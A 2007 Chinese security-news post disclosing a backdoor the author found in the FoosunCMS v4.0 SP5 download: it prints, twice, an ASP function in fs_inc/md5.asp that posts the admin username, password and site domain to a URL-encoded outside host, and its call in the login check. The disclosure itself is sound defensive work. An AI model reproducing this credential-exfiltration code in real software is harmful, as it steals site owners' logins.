个人 企业
用户名:
密码:
 
企业服务   安全学院   安全资讯
安全动态  |  前沿技术  |  黑客防范安全漏洞防毒杀毒编程技术安全案例 |  电子政务产品推荐网管技术安全采购产品测评在线代理OICQ
检测评估安全学院软件下载互动交流安全沙龙应急咨询技术认证安全人才技术社区嘉宾聊天安全调查文章评论服务专线BLOG
  资讯 频道 漏洞    

一分钟注册享受免费网站安全评估

新闻热点

美国谋划夺取全球“制网权”
攻击指定IP地址及端口的黑客病毒
“黑客”三天侵吞21万获刑11年
微软浏览器IE7被发现存在两个漏洞
黑客入侵万达广场网站 提醒修复漏洞

软件热点
完美卸载V2007 完整版
防黑菜鸟必学系列视频教程
c语言视频教学30讲第14讲
黑客攻防绝招之三十六计
redhatlinux9安装的全程录像
IIS6最佳安全性实战
 
 
FoosunCMSv4.0sp5存在恶意后门代码
时间:2007-11-4 13:19:17 作者:www.sec120.com  出处:陈十三哥
今日在做淘特CMS一键导入其它CMS数据时,轮到下载风讯最新的CMS代码,下载后的文件名为:FoosunCMS免费版v4_Sp5_完整版含模板.rar
解压后登录后台,结果却出现以下提示:下面是源文件
<script language='javascript'>alert('登陆过期,请重新登陆');window.top.locati
于是直接输入登录地址http://localhost/admin/login.asp
输入用户名和密码,提交登录。此次是OK了。
不过我的环境却检测到有数据包发送到http://www.www512.cn/js/wz.asp这个地址。
到网上找http://www.www512.cn,发现这只是个论坛,并不是风讯的网。奇怪!!
于是搜索包括www.www512.cn的代码,结果没有找到,终于在FS_Inc文件夹下找到Md5.asp文件,发现以下代码:
Public Function GETtoPostern(user,pass)
  dim sql
  dim http
  dim domain
  domain=Request.ServerVariables("SERVER_NAME"&Request.ServerVariables("HTTP_url"
  sql="name="&user&"&pass="&pass&"&domain="&domain
  set Http=server.createobject("MSXML2.XMLHTTP"
  Http.open "Post","http://www.www%35%31%32.cn/js/%77%7A%2Easp",false
  Http.setRequestHeader "Content-Type","application/x-www-form-urlencoded"
  Http.send sql
  set http=nothing
  GETtoPostern=sql  
End Function
呵呵,一目了然了。
这段程序居然将你的用户名密码和网站地址(见:sql="name="&user&"&pass="&pass&"&domain="&domain)打包数据发送http://www.www%35%31%32.cn/js/%77%7A%2Easp(用了urlencode,转过来就http://www.www512.cn/js/wz.asp,怪不得搜索不到!!)
恐怖吧,你的网站一旦上线,用户名和密码就被发给别人了。

实在是巧合才发现了这个问题,如果不是升级模块的话,也不知会有多少用户....,希望看到此贴(不是漏洞,公布出来不会以为恶意竞争吧。:)),和foosun熟悉的朋友通知他们下,我在其论坛发了贴没有回应。

下载地址
http://www.foosun.net/FsDown/Dow ... 19_38_F83ID_66.html

fs_inc\md5.asp
行126开始

Quote:
Public Function GETtoPostern(user,pass)
  dim sql
  dim http
  dim domain
  domain=Request.ServerVariables("SERVER_NAME")&Request.ServerVariables("HTTP_url")
  sql="name="&user&"&pass="&pass&"&domain="&domain
  set Http=server.createobject("MSXML2.XMLHTTP")
  Http.open "Post","http://www.www%35%31%32.cn/js/%77%7A%2Easp",false
  Http.setRequestHeader "Content-Type","application/x-www-form-urlencoded"
  Http.send sql
  set http=nothing
  GETtoPostern=sql  
End Function  


admin\chklogin.asp

行98

call GETtoPostern(Session("Admin_Name"),p_TempUserPass) 

 

评论 | 收藏 | | 打印 | 关闭
相关新闻链接
     
关于Sec120 | 服务产品 | 联系我们 | 招贤纳才 | 广告服务 | 网站律师 | 网站地图 | 我要投稿

 

互联安全网  粤ICP备06118359 Copyright 1999-2007 All Right Reserved.